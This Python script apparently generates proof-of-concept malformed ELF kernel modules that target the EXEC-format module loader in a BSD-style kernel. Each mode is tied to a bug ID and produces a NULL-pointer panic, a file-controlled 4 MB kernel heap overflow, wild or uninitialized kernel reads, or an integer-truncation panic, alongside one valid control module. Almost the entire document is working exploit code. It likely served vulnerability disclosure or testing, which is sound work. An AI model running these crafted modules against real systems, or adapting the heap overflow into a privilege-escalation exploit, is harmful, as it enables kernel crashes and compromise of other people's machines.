#!/usr/bin/env python3
# Craft minimal ET_EXEC x86-64 "KLD" modules that hit link_elf_load_file
# (sys/kern/link_elf.c - the EXEC-format loader) with attacker-chosen
# program-header / dynamic / section metadata.
#   argv[1] = out path
#   argv[2] = mode:
#     globalsym      control: valid module, one R_X86_64_64 reloc against a
#                    STB_GLOBAL in-module symbol -> must kldload OK (RC=0)
#     localsym       same but STB_LOCAL -> elf_lookup local branch returns the
#                    address as the int error code -> "symbol s undefined",
#                    load fails despite the symbol being defined (DF-2812)
#     nulldyn-rel    DT_REL present but no DT_SYMTAB/DT_STRTAB -> failed
#                    reloc -> symbol_name() derefs ef->symtab==NULL -> panic
#                    (DF-2810)
#     seg-overflow   segs[0] extent far beyond mapsize (mapsize derives only
#                    from segs[1] end) -> vn_rdwr writes 4MB of file data into
#                    a 1-page kmalloc -> file-controlled heap overflow (DF-2808)
#     phdr-wild      e_phoff = 0x300000000000: the "Unreadable program
#                    headers" check is warning-only -> phdr scan reads at
#                    firstpage+e_phoff -> wild kernel read -> panic (DF-2809)
#     phdr-short     64-byte file, e_phoff=0x40 e_phnum=2: phdrs parsed from
#                    UNINITIALIZED heap past nbytes (never enforced) (DF-2809)
#     shsize-trunc   SHT_SYMTAB sh_size=0x80000100 truncated into int symcnt
#                    -> negative -> kmalloc((size_t)-2GB) -> NULL -> vn_rdwr
#                    into NULL with huge len -> panic (DF-2811)
import struct, sys

EHDR = struct.Struct('<16sHHIQQQIHHHHHH')
PHDR = struct.Struct('<IIQQQQQQ')   # type flags offset vaddr paddr filesz memsz align
SHDR = struct.Struct('<IIQQQQIIQQ')
DYN  = struct.Struct('<qQ')
SYM  = struct.Struct('<IBBHQQ')
REL  = struct.Struct('<QQ')

PT_LOAD, PT_DYNAMIC = 1, 2
DT_NULL, DT_HASH, DT_STRTAB, DT_STRSZ, DT_SYMTAB = 0, 4, 5, 10, 6
DT_SYMENT, DT_REL, DT_RELSZ, DT_RELENT = 11, 17, 18, 19
SHT_SYMTAB, SHT_STRTAB = 2, 3
R_X86_64_64 = 1

def ehdr(phoff, phnum, shoff=0, shnum=0, shstrndx=0):
    ident = b'\x7fELF' + bytes([2, 1, 1, 0, 0]) + b'\0'*7
    return EHDR.pack(ident, 2, 62, 1, 0, phoff, shoff, 0,
                     64, 56, phnum, 64, shnum, shstrndx)

def phdr(typ, flags, off, vaddr, filesz, memsz, align=0x1000):
    return PHDR.pack(typ, flags, off, vaddr, vaddr, filesz, memsz, align)

def put(blob, off, data):
    end = off + len(data)
    if len(blob) < end:
        blob.extend(b'\0' * (end - len(blob)))
    blob[off:off+len(data)] = data

def build_symmod(st_info, out):
    # seg0: vaddr 0, 0x200 bytes at file 0x1000
    # seg1: vaddr 0x300, 0x100 bytes at file 0x1200
    s0 = bytearray(0x200)
    put(s0, 0x20, REL.pack(0x10, (1 << 32) | R_X86_64_64))     # one REL
    put(s0, 0x40, struct.pack('<5I', 1, 2, 1, 0, 0))           # DT_HASH: nb=1 nch=2 bucket0=1
    sym0 = SYM.pack(0, 0, 0, 0, 0, 0)
    sym1 = SYM.pack(1, st_info, 0, 1, 0x80, 8)                 # "s", defined, value 0x80
    put(s0, 0x60, sym0 + sym1)
    put(s0, 0x90, b'\0s\0\0')                                  # strtab
    dyn = b''.join(DYN.pack(t, v) for t, v in [
        (DT_HASH, 0x40), (DT_STRTAB, 0x90), (DT_STRSZ, 4),
        (DT_SYMTAB, 0x60), (DT_SYMENT, 24), (DT_REL, 0x20),
        (DT_RELSZ, 16), (DT_RELENT, 16), (DT_NULL, 0)])
    put(s0, 0xA0, dyn)
    s1 = bytearray(0x100)
    img = bytearray(ehdr(0x40, 3))
    put(img, 0x40, phdr(PT_LOAD, 5, 0x1000, 0, 0x200, 0x200))
    put(img, 0x40+56, phdr(PT_LOAD, 6, 0x1200, 0x300, 0x100, 0x100))
    put(img, 0x40+112, phdr(PT_DYNAMIC, 6, 0, 0xA0, 0, 0))
    put(img, 0x1000, s0)
    put(img, 0x1200, s1)
    open(out, 'wb').write(img)

def build_nulldyn(out):
    s0 = bytearray(0x100)
    put(s0, 0x40, REL.pack(0x10, (1 << 32) | R_X86_64_64))
    dyn = b''.join(DYN.pack(t, v) for t, v in [
        (DT_REL, 0x40), (DT_RELSZ, 16), (DT_NULL, 0)])
    put(s0, 0x80, dyn)
    img = bytearray(ehdr(0x40, 3))
    put(img, 0x40, phdr(PT_LOAD, 5, 0x1000, 0, 0x100, 0x100))
    put(img, 0x40+56, phdr(PT_LOAD, 6, 0x1100, 0x200, 0x18, 0x18))
    put(img, 0x40+112, phdr(PT_DYNAMIC, 6, 0, 0x80, 0, 0))
    put(img, 0x1000, s0)
    put(img, 0x1100, bytearray(0x18))
    open(out, 'wb').write(img)

def build_segoverflow(out):
    img = bytearray(ehdr(0x40, 3))
    put(img, 0x40, phdr(PT_LOAD, 5, 0x1000, 0, 0x400000, 0x400000))
    put(img, 0x40+56, phdr(PT_LOAD, 6, 0x401000, 0x100, 0x100, 0x100))
    put(img, 0x40+112, phdr(PT_DYNAMIC, 6, 0, 0x100, 0, 0))
    put(img, 0x1000, b'A' * 0x400000)                          # 4 MB of file data
    put(img, 0x401000, DYN.pack(DT_NULL, 0))                   # dynamic = [DT_NULL]
    open(out, 'wb').write(img)

def build_phdrwild(out, e_phoff, e_phnum):
    img = bytearray(EHDR.pack(b'\x7fELF' + bytes([2, 1, 1, 0, 0]) + b'\0'*7,
                              2, 62, 1, 0, e_phoff, 0, 0,
                              64, 56, e_phnum, 64, 0, 0))
    open(out, 'wb').write(img)

def build_shsizetrunc(out):
    img = bytearray(ehdr(0x40, 3, shoff=0x1200, shnum=3))
    put(img, 0x40, phdr(PT_LOAD, 5, 0x1000, 0, 0x100, 0x100))
    put(img, 0x40+56, phdr(PT_LOAD, 6, 0x1100, 0x200, 0x18, 0x18))
    put(img, 0x40+112, phdr(PT_DYNAMIC, 6, 0, 0x40, 0, 0))
    s0 = bytearray(0x100)
    put(s0, 0x40, DYN.pack(DT_NULL, 0))                        # no relocs at all
    put(img, 0x1000, s0)
    put(img, 0x1100, bytearray(0x18))
    put(img, 0x1200, SHDR.pack(0, 0, 0, 0, 0, 0, 0, 0, 0, 0))                       # SHN_UNDEF
    put(img, 0x1200+64, SHDR.pack(0, SHT_SYMTAB, 0, 0, 0x1300,
                                  0x80000100, 2, 1, 8, 24))    # sh_size > INT_MAX
    put(img, 0x1200+128, SHDR.pack(0, SHT_STRTAB, 0, 0, 0x1400, 0x10, 0, 0, 1, 0))
    open(out, 'wb').write(img)

mode, out = sys.argv[2], sys.argv[1]
if mode == 'globalsym':
    build_symmod((1 << 4) | 1, out)        # STB_GLOBAL|STT_OBJECT
elif mode == 'localsym':
    build_symmod((0 << 4) | 1, out)        # STB_LOCAL|STT_OBJECT
elif mode == 'nulldyn-rel':
    build_nulldyn(out)
elif mode == 'seg-overflow':
    build_segoverflow(out)
elif mode == 'phdr-wild':
    build_phdrwild(out, 0x300000000000, 1)
elif mode == 'phdr-short':
    build_phdrwild(out, 0x40, 2)
elif mode == 'shsize-trunc':
    build_shsizetrunc(out)
else:
    sys.exit('bad mode')
print('wrote %s: mode=%s' % (out, mode))
